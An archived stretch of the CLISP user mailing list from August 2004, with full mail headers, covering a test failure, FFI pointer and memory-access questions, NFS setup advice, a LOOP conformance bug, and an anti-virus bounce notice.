2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Tue Aug 3 05:09:11 2004 X-Original-Date: Tue, 03 Aug 2004 14:08:46 +0200 Hi, CLISP obtained from CVS this morning builds ok on MacOS X Panther but has one test failure in excepsit.erg: Form: (defun foo11 (x z) (list x y z)) CORRECT: TYPE-ERROR CLISP: NIL -- Eric Marsden From sds@gnu.org Tue Aug 03 09:41:50 2004 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1Bs2MH-0001pR-Hg for clisp-list@lists.sourceforge.net; Tue, 03 Aug 2004 09:41:49 -0700 Received: from fw-ext.alphatech.com ([198.112.236.6] helo=alphatech.com) by sc8-sf-mx1.sourceforge.net with esmtp (Exim 4.34) id 1Bs2MH-0004qe-36 for clisp-list@lists.sourceforge.net; Tue, 03 Aug 2004 09:41:49 -0700 Received: from WINSTEINGOLDLAP (winsteingoldlap.ad.alphatech.com [10.0.64.31]) by alphatech.com (8.12.10/8.12.10) with ESMTP id i73GfLIb020336; Tue, 3 Aug 2004 12:41:22 -0400 (EDT) To: clisp-list@lists.sourceforge.net, Eric Marsden Mail-Copies-To: never Reply-to: clisp-list@lists.sourceforge.net X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. From: Sam Steingold In-Reply-To: (Eric Marsden's message of "Tue, 03 Aug 2004 14:08:46 +0200") References: Mail-Followup-To: clisp-list@lists.sourceforge.net, Eric Marsden Message-ID: User-Agent: Gnus/5.1003 (Gnus v5.10.3) Emacs/21.3.50 (windows-nt) MIME-Version: 1.0 Content-Type: text/plain X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 SF_CHICKENPOX_MINUS BODY: Text interparsed with - 0.0 SF_CHICKENPOX_PERIOD BODY: Text interparsed with . Subject: [clisp-list] Re: Test failure on MacOS X: excepsit.erg type-error Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Tue Aug 3 09:42:01 2004 X-Original-Date: Tue, 03 Aug 2004 12:41:21 -0400 this is known, thanks. (reports about CVS head should go to clisp-devel) -- Sam Steingold (http://www.podval.org/~sds) running w2k When you are arguing with an idiot, your opponent is doing the same. From Joerg-Cyril.Hoehle@t-systems.com Tue Aug 03 11:38:53 2004 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1Bs4BW-0008AV-64 for clisp-list@lists.sourceforge.net; Tue, 03 Aug 2004 11:38:50 -0700 Received: from mail1.telekom.de ([62.225.183.202]) by sc8-sf-mx1.sourceforge.net with esmtp (Exim 4.34) id 1Bs4BT-0001ny-UA for clisp-list@lists.sourceforge.net; Tue, 03 Aug 2004 11:38:48 -0700 Received: from g8pbr.blf01.telekom.de by G8SBV.dmz.telekom.de with ESMTP; Tue, 3 Aug 2004 20:38:38 +0200 Received: by G8PBR.blf01.telekom.de with Internet Mail Service (5.5.2653.19) id ; Tue, 3 Aug 2004 20:37:49 +0200 Message-Id: <5F9130612D07074EB0A0CE7E69FD7A030110687D@S4DE8PSAAGS.blf.telekom.de> From: "Hoehle, Joerg-Cyril" To: clisp-list@lists.sourceforge.net Cc: pjb@informatimago.com Subject: [clisp-list] Re: FFI and C-POINTERs MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2653.19) Content-Type: text/plain; charset="ISO-8859-15" Content-Transfer-Encoding: quoted-printable X-Spam-Score: 0.1 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 SF_CHICKENPOX_SLASH BODY: Text interparsed with / 0.0 SF_CHICKENPOX_MINUS BODY: Text interparsed with - 0.0 SF_CHICKENPOX_COLON BODY: Text interparsed with : 0.0 SF_CHICKENPOX_APOSTROPHE BODY: Text interparsed with ' 0.0 SF_CHICKENPOX_PERIOD BODY: Text interparsed with . Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Tue Aug 3 11:39:04 2004 X-Original-Date: Tue, 3 Aug 2004 20:37:48 +0200 Hi, First Pascal, I'm glad that you took the effort and started real code = on this UFFI issue. Some remarks / thoughts of mine: o FFI:OFFSET 0 is your friend when you want to ignore size tests (I = forgot about alignment behaviour). o - How do I set a FFI:UINT32 in the memory pointed to by M? You need a #. All memory manipulations is via them. o FFI:[:]FOREIGN-LIBRARY is your interface to dlopen() or MS-Windows = LoadLibrary(). I believe it should be enough for UFFI. Try to forget about directly interfacing to dlopen() or dlsym(). o please share your thoughts upon FOREIGN-POINTER vs. typed = FOREIGN-VARIABLE objects. I was left under the impression that for = UFFI, all functions with pointers (even strings) would have to be = declared C-POINTER, so one would loose CLISP's ability to do conversion = from e.g. Lisp strings internally, and everything would have to be done = explicitly via with-foreign-string or with-foreign-object. o A critical point is that I don't know whether UFFI expects = low-overhead switch for casts. In CLISP FFI:CAST is extremely expensive = (quoted types could be done better). Also, I haven't checked what UFFI implies w.r.t. the C-POINTER that you = would have to use in function definitions and possible memory = dereference when you want to access fields from pointers and you thus = need foreign-variable objects. That's why ffi:allocate-shallow yields a typed foreign-variable, = whereas a UFFI:malloc interface can only yield a c-pointer. o If you only need foreign-variable objects, then don't invoke malloc = and friends (via allocate shallow). A common way is to use WITH-FOREIGN... to get a foreign-variable = object. I think I once posted a FOREIGN-VARIABLE constructor hack code in Lisp. = I believe a FOREIGN-VARIABLE and FOREIGN-FUNCTION constructor would be = a useful addition. I didn't provide one because (of time and) I'm = always hit by that internal/external parse-c-type foreign-pointer = issues. The constructor must accept the internal type representation. (with-c-var/foreign-object (x 'c-pointer (mymalloc)) (cast ... 'ffi:uint) Tell me if you're stuck and I'll provide code for a foreign-variable = object with indefinite extent (remember SET-FOREIGN-BASE or whatever it = got called). o I didn't understand your SLIME backtrace. o I really don't know whether using UFFI's interface CLISP can come out = with efficient code. CAST etc. have a high penalty, whereas on = native-code compilers they produce no-ops -- quite a difference. But you probably want it to run first, then care about efficiency :-) Regards, J=F6rg From Joerg-Cyril.Hoehle@t-systems.com Tue Aug 03 11:46:02 2004 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1Bs4IT-0001Lc-QS for clisp-list@lists.sourceforge.net; Tue, 03 Aug 2004 11:46:01 -0700 Received: from mail4.telekom.de ([195.243.210.197]) by sc8-sf-mx1.sourceforge.net with esmtp (Exim 4.34) id 1Bs4IT-0005mB-6T for clisp-list@lists.sourceforge.net; Tue, 03 Aug 2004 11:46:01 -0700 Received: from g8pbq.blf01.telekom.de by mail2.dmz.telekom.de with ESMTP; Tue, 3 Aug 2004 20:45:49 +0200 Received: by G8PBQ.blf01.telekom.de with Internet Mail Service (5.5.2653.19) id ; Tue, 3 Aug 2004 20:45:54 +0200 Message-Id: <5F9130612D07074EB0A0CE7E69FD7A030110687E@S4DE8PSAAGS.blf.telekom.de> From: "Hoehle, Joerg-Cyril" To: elvin_peterson@yahoo.com Cc: clisp-list@lists.sourceforge.net Subject: AW: Solaris (Was:Re: [clisp-list] Re: tail recursion optimization ) MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2653.19) Content-Type: text/plain X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 SF_CHICKENPOX_MINUS BODY: Text interparsed with - 0.0 SF_CHICKENPOX_COLON BODY: Text interparsed with : Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Tue Aug 3 11:47:15 2004 X-Original-Date: Tue, 3 Aug 2004 20:45:54 +0200 Elvin Peterson wrote: >Only a few of them were older OSes, but going 64 bit >would cause a lot of administrative overhead with the >binaries (on NFS) for different machines. Well, older admins gained a lot of experience in this area already and can share that. Not too long ago, typical UNIX zoos were much more heterogeneous. Yet a similar looking NFS structure for SunOS, Solaris, DEC and Linux was done in many places. Now this appears again for 32bit/64, and will fade in a couple of years (all 64bit). Being on Sun, you may want to investigate the automounter manpages. The idea was different /bin/ and possibly lib/ directories mounted depending on the OS, whereas shared/ was precisely what it meant. Regards, Jorg Hohle From sds@gnu.org Tue Aug 03 12:23:57 2004 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.12] helo=sc8-sf-mx2.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1Bs4tA-00010e-VK for clisp-list@lists.sourceforge.net; Tue, 03 Aug 2004 12:23:56 -0700 Received: from fw-ext.alphatech.com ([198.112.236.6] helo=alphatech.com) by sc8-sf-mx2.sourceforge.net with esmtp (Exim 4.34) id 1Bs4tA-00010X-Eh for clisp-list@lists.sourceforge.net; Tue, 03 Aug 2004 12:23:56 -0700 Received: from WINSTEINGOLDLAP (winsteingoldlap.ad.alphatech.com [10.0.64.31]) by alphatech.com (8.12.10/8.12.10) with ESMTP id i73JNfIb012053; Tue, 3 Aug 2004 15:23:42 -0400 (EDT) To: clisp-list@lists.sourceforge.net, "Hoehle, Joerg-Cyril" Mail-Copies-To: never Reply-to: clisp-list@lists.sourceforge.net X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. From: Sam Steingold In-Reply-To: <5F9130612D07074EB0A0CE7E69FD7A030110687D@S4DE8PSAAGS.blf.telekom.de> (Joerg-Cyril Hoehle's message of "Tue, 3 Aug 2004 20:37:48 +0200") References: <5F9130612D07074EB0A0CE7E69FD7A030110687D@S4DE8PSAAGS.blf.telekom.de> Mail-Followup-To: clisp-list@lists.sourceforge.net, "Hoehle, Joerg-Cyril" Message-ID: User-Agent: Gnus/5.1003 (Gnus v5.10.3) Emacs/21.3.50 (windows-nt) MIME-Version: 1.0 Content-Type: text/plain X-Spam-Score: 0.1 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 SF_CHICKENPOX_SLASH BODY: Text interparsed with / 0.0 SF_CHICKENPOX_MINUS BODY: Text interparsed with - 0.0 SF_CHICKENPOX_COLON BODY: Text interparsed with : 0.0 SF_CHICKENPOX_AT BODY: Text interparsed with @ 0.0 SF_CHICKENPOX_APOSTROPHE BODY: Text interparsed with ' 0.0 SF_CHICKENPOX_PERIOD BODY: Text interparsed with . Subject: [clisp-list] Re: FFI and C-POINTERs Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Tue Aug 3 12:24:03 2004 X-Original-Date: Tue, 03 Aug 2004 15:23:40 -0400 > * Hoehle, Joerg-Cyril [2004-08-03 20:37:48 +0200]: > > (with-c-var/foreign-object (x 'c-pointer (mymalloc)) > (cast ... 'ffi:uint) this will extract the value of the pointer, not the datum to which the memory points too: (let ((m (c-malloc 4))) (print m) (unwind-protect (with-c-var (p 'c-pointer m) (print (cast p 'uint32))) (c-free m))) # 4156312 4156312 #x003F6B98 ==> 4156312 to extract the number you need (let ((m (c-malloc 4))) (print m) (unwind-protect (with-c-var (p 'c-pointer m) (print (cast p '(c-ptr uint32)))) (c-free m))) still, this is just access. how does one _write_ to the memory returned by malloc? -- Sam Steingold (http://www.podval.org/~sds) running w2k Apathy Club meeting this Friday. If you want to come, you're not invited. From sds@gnu.org Tue Aug 03 12:48:04 2004 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.12] helo=sc8-sf-mx2.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1Bs5GV-0006Z9-GY for clisp-list@lists.sourceforge.net; Tue, 03 Aug 2004 12:48:03 -0700 Received: from fw-ext.alphatech.com ([198.112.236.6] helo=alphatech.com) by sc8-sf-mx2.sourceforge.net with esmtp (Exim 4.34) id 1Bs5GU-00028U-LX for clisp-list@lists.sourceforge.net; Tue, 03 Aug 2004 12:48:03 -0700 Received: from WINSTEINGOLDLAP (winsteingoldlap.ad.alphatech.com [10.0.64.31]) by alphatech.com (8.12.10/8.12.10) with ESMTP id i73JloIb019616; Tue, 3 Aug 2004 15:47:51 -0400 (EDT) To: clisp-list@lists.sourceforge.net, "Hoehle, Joerg-Cyril" Mail-Copies-To: never Reply-to: clisp-list@lists.sourceforge.net X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. From: Sam Steingold In-Reply-To: <5F9130612D07074EB0A0CE7E69FD7A030110687D@S4DE8PSAAGS.blf.telekom.de> (Joerg-Cyril Hoehle's message of "Tue, 3 Aug 2004 20:37:48 +0200") References: <5F9130612D07074EB0A0CE7E69FD7A030110687D@S4DE8PSAAGS.blf.telekom.de> Mail-Followup-To: clisp-list@lists.sourceforge.net, "Hoehle, Joerg-Cyril" Message-ID: User-Agent: Gnus/5.1003 (Gnus v5.10.3) Emacs/21.3.50 (windows-nt) MIME-Version: 1.0 Content-Type: text/plain X-Spam-Score: 0.1 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 SF_CHICKENPOX_SLASH BODY: Text interparsed with / 0.0 SF_CHICKENPOX_MINUS BODY: Text interparsed with - 0.0 SF_CHICKENPOX_COLON BODY: Text interparsed with : 0.0 SF_CHICKENPOX_PERCENT BODY: Text interparsed with % 0.0 SF_CHICKENPOX_AT BODY: Text interparsed with @ 0.0 SF_CHICKENPOX_APOSTROPHE BODY: Text interparsed with ' 0.0 SF_CHICKENPOX_PARATHESES_OPEN BODY: Text interparsed with ( 0.0 SF_CHICKENPOX_PERIOD BODY: Text interparsed with . Subject: [clisp-list] Re: FFI and C-POINTERs Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Tue Aug 3 12:49:01 2004 X-Original-Date: Tue, 03 Aug 2004 15:47:50 -0400 > * Hoehle, Joerg-Cyril [2004-08-03 20:37:48 +0200]: > > > (with-c-var/foreign-object (x 'c-pointer (mymalloc)) > (cast ... 'ffi:uint) (let ((m (c-malloc 4)) ret) (unwind-protect (progn (with-c-var (i '(c-ptr uint32) m) (with-c-var (v '(c-ptr (c-array uint8 4)) m) (setq i 0) (push v ret) (setq i (1- (ash 1 32))) (push v ret))) (nreverse ret)) (c-free m))) *** - # cannot be converted to the foreign type UINT32 why uint32?! it's (c-ptr uint32)! -- Sam Steingold (http://www.podval.org/~sds) running w2k main(a){printf(a,34,a="main(a){printf(a,34,a=%c%s%c,34);}",34);} From MAILER-DAEMON Tue Aug 03 23:15:55 2004 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.12] helo=sc8-sf-mx2.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1BsF47-0006fe-2S for clisp-list@lists.sourceforge.net; Tue, 03 Aug 2004 23:15:55 -0700 Received: from [66.160.144.132] (helo=server13.joeswebhosting.net) by sc8-sf-mx2.sourceforge.net with esmtp (TLSv1:AES256-SHA:256) (Exim 4.34) id 1BsF46-00007L-Ma for clisp-list@lists.sourceforge.net; Tue, 03 Aug 2004 23:15:54 -0700 Received: from jwhav by server13.joeswebhosting.net with virus-notification (Exim 4.34) id 1BsF40-0002H7-0z for clisp-list@lists.sourceforge.net; Wed, 04 Aug 2004 15:15:48 +0900 MIME-Version: 1.0 Reply-To: From: "JWH Anti-Virus System" To: Content-Type: multipart/report; report-type=delivery-status; boundary="----------=_1091600147-7983-5" Message-Id: X-Spam-Score: 0.4 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.2 PLING_QUERY Subject has exclamation mark and question mark 0.0 SF_CHICKENPOX_SLASH BODY: Text interparsed with / 0.0 SF_CHICKENPOX_MINUS BODY: Text interparsed with - 0.0 SF_CHICKENPOX_BRACKET_OPEN BODY: Text interparsed with [ 0.0 SF_CHICKENPOX_COLON BODY: Text interparsed with : 0.0 SF_CHICKENPOX_GREATERTHAN BODY: Text interparsed with > 0.0 SF_CHICKENPOX_PERCENT BODY: Text interparsed with % 0.0 SF_CHICKENPOX_EXCLAIM BODY: Text interparsed with ! 0.0 SF_CHICKENPOX_DOLLAR BODY: Text interparsed with $ 0.0 SF_CHICKENPOX_AT BODY: Text interparsed with @ 0.0 SF_CHICKENPOX_PERIOD BODY: Text interparsed with . 0.0 SF_CHICKENPOX_LESSTHAN BODY: Text interparsed with < 0.0 SF_CHICKENPOX_EQUAL BODY: Text interparsed with = 0.0 SF_CHICKENPOX_SEMICOLON BODY: Text interparsed with ; Subject: [clisp-list] =?ISO-2022-JP?B?WxskQj1FTVcbKEJdIBskQiUmJSQlayU5JEs0NkB3JDckPyVhITwbKEI=?= =?ISO-2022-JP?B?GyRCJWskTkdbQXckckNmO18kNyReJDckPyEjGyhC?= Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Tue Aug 3 23:16:02 2004 X-Original-Date: Wed, 4 Aug 2004 15:15:47 +0900 (JST) This is a multi-part message in MIME format... ------------=_1091600147-7983-5 Content-Type: text/plain; charset="ISO-2022-JP" Content-Disposition: inline Content-Transfer-Encoding: 7bit $B$"$J$?$NAw?.$7$?%a!<%k$O%&%$%k%9$K46@w$7$F$$$^$7$?$,!"(B $B%"%s%A%&%$%k%9%7%9%F%`$K$h$j%a!<%k$O%U%#%k%?$5$l!"3VN%$5$l$F$$$^$9!#(B $BEv3:%a!<%k$,G[Aw$5$l$k;v$O$"$j$^$;$s!#(B $BEv3:%a!<%k$K4X$9$k>\:Y$O!"(B $B$3$N%a!<%k$NE:IU%F%-%9%H%U%!%$%k$K5-:\$5$l$F$$$^$9!#(B $BE:IU%F%-%9%H%U%!%$%k$K$D$$$F!'(B details.txt($B$,0[$J$k>l9g$,$"$j$^$9(B): $B%U%#%k%?$5$l$?860x$r<($9>pJs$,5-:\$5$l$F$$$^$9!#(B Diagnostic-Code: $B$N9T$K!V(BVIRUS: $B%&%$%k%9L>!W$NJ8;zNs$,B8:_$9$k>l9g!"(B $BEv3:%a!<%k$,%&%$%k%9$K46@w$7$F$$$?;v$r<($7$^$9!#(B $B!V(BBANNED: $BE:IU%U%!%$%kL>!W$NJ8;zNs$,B8:_$9$k>l9g!"Ev3:%a!<%k$KE:IU(B $B$5$l$F$$$?%U%!%$%k$,5v2D$5$l$J$+$C$?;v$r<($7$^$9!#(B Undelivered-message headers.txt ($B$,0[$J$k>l9g$,$"$j$^$9(B): $B%U%#%k%?$5$l$?%a!<%k$N%*%j%8%J%k$N%a!<%k%X%C%@>pJs$,5-:\$5$l$F$$$^$9!#(B From: $BAw?.85$N%a!<%k%"%I%l%9$r<($7$^$9!#(B($B5u56$N>l9g$,$"$j$^$9(B) To: $BAw?.@h$N%a!<%k%"%I%l%9$r<($7$^$9!#(B Subject: $B%a!<%k7oL>$r<($7$^$9!#(B Received: $Be$KCf7Q$5$l$F$-$F$$$^$9(B) -------------------------------------------------------------------------- AntiVirusSystem@hiredgirl.com ------------=_1091600147-7983-5 Content-Type: message/delivery-status Content-Disposition: inline Content-Transfer-Encoding: 7bit Content-Description: Delivery error report Reporting-MTA: dns; server13.joeswebhosting.net Received-From-MTA: smtp; server13.joeswebhosting.net ([127.0.0.1]) Arrival-Date: Wed, 4 Aug 2004 15:15:46 +0900 (JST) Final-Recipient: rfc822; kenji@hiredgirl.com Action: failed Status: 5.7.1 Diagnostic-Code: smtp; 550 5.7.1 Message content rejected, id=07983-07 - VIRUS: Worm.SomeFool.Gen-2 Last-Attempt-Date: Wed, 4 Aug 2004 15:15:47 +0900 (JST) ------------=_1091600147-7983-5 Content-Type: text/rfc822-headers Content-Disposition: inline Content-Transfer-Encoding: 7bit Content-Description: Undelivered-message headers Received: from [202.173.153.238] (helo=hiredgirl.com) by server13.joeswebhosting.net with smtp (Exim 4.34) id 1BsF3w-0002GY-R3 for kenji@hiredgirl.com; Wed, 04 Aug 2004 15:15:46 +0900 From: clisp-list@lists.sourceforge.net To: kenji@hiredgirl.com Subject: hello Date: Tue, 30 Nov 2004 16:14:55 +1100 MIME-Version: 1.0 Content-Type: multipart/mixed; boundary="55357304" ------------=_1091600147-7983-5-- From pascal@informatimago.com Wed Aug 04 10:20:31 2004 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.12] helo=sc8-sf-mx2.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1BsPRH-0004cw-Ak for clisp-list@lists.sourceforge.net; Wed, 04 Aug 2004 10:20:31 -0700 Received: from 78.informatimago.com ([62.93.174.78] helo=larissa.informatimago.com ident=postfix) by sc8-sf-mx2.sourceforge.net with esmtp (Exim 4.34) id 1BsPRG-0003FZ-MA for clisp-list@lists.sourceforge.net; Wed, 04 Aug 2004 10:20:31 -0700 Received: from thalassa.informatimago.com (79.informatimago.com [62.93.174.79]) by larissa.informatimago.com (Postfix on SuSE Linux 7.3 (i386)) with ESMTP id D3E20586E2; Wed, 4 Aug 2004 19:20:23 +0200 (CEST) Received: by thalassa.informatimago.com (Postfix, from userid 1000) id 6276D4DA27; Wed, 4 Aug 2004 19:20:12 +0200 (CEST) To: From: Pascal J.Bourguignon Organization: InformatiMago. X-PGP-Key-ID: 0xEF5E9966 X-PGP-fingerprint: 00 F5 7B DB CA 51 8A AD 04 5B 6C DE 32 60 16 8E EF 5E 99 66 X-PGP-Public-Key: http://www.informatimago.com/pgpkey.asc X-URL: http://www.informatimago.com/index X-Face: ":yO)Vk=vFU3)FL&2#7gT_G=KUuNv*BEOo+Shubl.V4Whu&;A.>.+&yEVB5I5vrpZIJ{yOW >CgV%jD]GHL6rp:.OCM~_YO&aY34]|`{yNq79\x=g:7XSboBUj]1ULpA;v>-bS3veufw-rB!N0kZW! @A4i?z| X-Accept-Language: fr, es, en Mime-Version: 1.0 Content-Transfer-Encoding: 8bit Content-Disposition: inline Content-Type: text/plain; charset=iso-8859-15 Content-Language: en Reply-To: Message-Id: <20040804172012.6276D4DA27@thalassa.informatimago.com> X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 SF_CHICKENPOX_APOSTROPHE BODY: Text interparsed with ' 0.0 SF_CHICKENPOX_PERIOD BODY: Text interparsed with . Subject: [clisp-list] loop finally compound+, not compound* ! Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Wed Aug 4 10:21:01 2004 X-Original-Date: Wed, 4 Aug 2004 19:20:12 +0200 (CEST) Low priority, but for ANSI comformance, the LOOP macro should expect at least one compound form after FINALLY. (loop for i from 1 to 10 finally return i) is parsed and accepted as: (loop for i from 1 to 10 finally (values) return i) but it should be rejected. -- __Pascal Bourguignon__ http://www.informatimago.com/ Nobody can fix the economy. Nobody can be trusted with their finger on the button. Nobody's perfect. VOTE FOR NOBODY. From Joerg-Cyril.Hoehle@t-systems.com Thu Aug 05 03:11:01 2004 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1BsfDA-0005m1-8J for clisp-list@lists.sourceforge.net; Thu, 05 Aug 2004 03:11:00 -0700 Received: from mail1.telekom.de ([62.225.183.202]) by sc8-sf-mx1.sourceforge.net with esmtp (Exim 4.34) id 1BsfD9-0006w2-KV for clisp-list@lists.sourceforge.net; Thu, 05 Aug 2004 03:11:00 -0700 Received: from g8pbr.blf01.telekom.de by G8SBV.dmz.telekom.de with ESMTP for clisp-list@lists.sourceforge.net; Thu, 5 Aug 2004 12:10:48 +0200 Received: by G8PBR.blf01.telekom.de with Internet Mail Service (5.5.2653.19) id ; Thu, 5 Aug 2004 12:09:32 +0200 Message-Id: <5F9130612D07074EB0A0CE7E69FD7A0301106ACB@S4DE8PSAAGS.blf.telekom.de> From: "Hoehle, Joerg-Cyril" To: clisp-list@lists.sourceforge.net MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2653.19) Content-Type: text/plain X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 SF_CHICKENPOX_SLASH BODY: Text interparsed with / 0.0 SF_CHICKENPOX_MINUS BODY: Text interparsed with - 0.0 SF_CHICKENPOX_APOSTROPHE BODY: Text interparsed with ' 0.0 SF_CHICKENPOX_PERIOD BODY: Text interparsed with . Subject: [clisp-list] Re: FFI and C-POINTERs Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Thu Aug 5 03:15:29 2004 X-Original-Date: Thu, 5 Aug 2004 12:09:31 +0200 Sam wrote: >still, this is just access. how does one _write_ to the memory > returned by malloc? Use C-Places, i.e. SETF. It seems you found out by yourself. Or use (SETF (FOREIGN-VALUE # x) on the objects. >(let ((m (c-malloc 4)) ret) > (unwind-protect > (progn > (with-c-var (i '(c-ptr uint32) m) > (with-c-var (v '(c-ptr (c-array uint8 4)) m) [...] >*** - # cannot be converted to the foreign > type UINT32 >why uint32?! it's (c-ptr uint32)! There's maybe a misconception here. The initarg to with-c-var is subject to conversion from Lisp to a foreign representation. Maybe this should be made explicit in the documentation. E.g. for with-c-var (i '(c-pointer uint32) initarg) you need to supply a Lisp integer. You gave a # instead. The Lisp view doesn't care about pointers, therefore an initarg for uint32, (c-ptr uint32) or (c-ptr (c-ptr uint32)) is always a single Lisp integer value of type (unsigned-byte 32). You can achieve what you maybe wished for like this: (with-c-var (i '(c-ptr uint32)) (setf (cast i 'c-pointer) m) ;; a # or is a correct initarg for the c-pointer type. (print i) (foo i) (setf i (bar)) BTW, what are you trying to achieve? BTW2, I just inspected http://clisp.cons.org/impnotes/dffi.html and found that it doesn't mention FOREIGN-VALUE It's the setf'able function to get/set values pointed to by # objects. More manipulations are available via WITH-C-PLACE. Regards, Jorg Hohle. From sds@gnu.org Thu Aug 05 06:59:40 2004 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1BsimS-0001JY-4u for clisp-list@lists.sourceforge.net; Thu, 05 Aug 2004 06:59:40 -0700 Received: from fw-ext.alphatech.com ([198.112.236.6] helo=alphatech.com) by sc8-sf-mx1.sourceforge.net with esmtp (Exim 4.34) id 1BsimR-0000u7-HV for clisp-list@lists.sourceforge.net; Thu, 05 Aug 2004 06:59:39 -0700 Received: from WINSTEINGOLDLAP (winsteingoldlap.ad.alphatech.com [10.0.64.31]) by alphatech.com (8.12.10/8.12.10) with ESMTP id i75DxLs2004309; Thu, 5 Aug 2004 09:59:21 -0400 (EDT) To: clisp-list@lists.sourceforge.net, "Hoehle, Joerg-Cyril" Cc: Bruno Haible Mail-Copies-To: never Reply-to: clisp-list@lists.sourceforge.net X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. From: Sam Steingold In-Reply-To: <5F9130612D07074EB0A0CE7E69FD7A0301106ACB@S4DE8PSAAGS.blf.telekom.de> (Joerg-Cyril Hoehle's message of "Thu, 5 Aug 2004 12:09:31 +0200") References: <5F9130612D07074EB0A0CE7E69FD7A0301106ACB@S4DE8PSAAGS.blf.telekom.de> Mail-Followup-To: clisp-list@lists.sourceforge.net, "Hoehle, Joerg-Cyril" , Bruno Haible Message-ID: User-Agent: 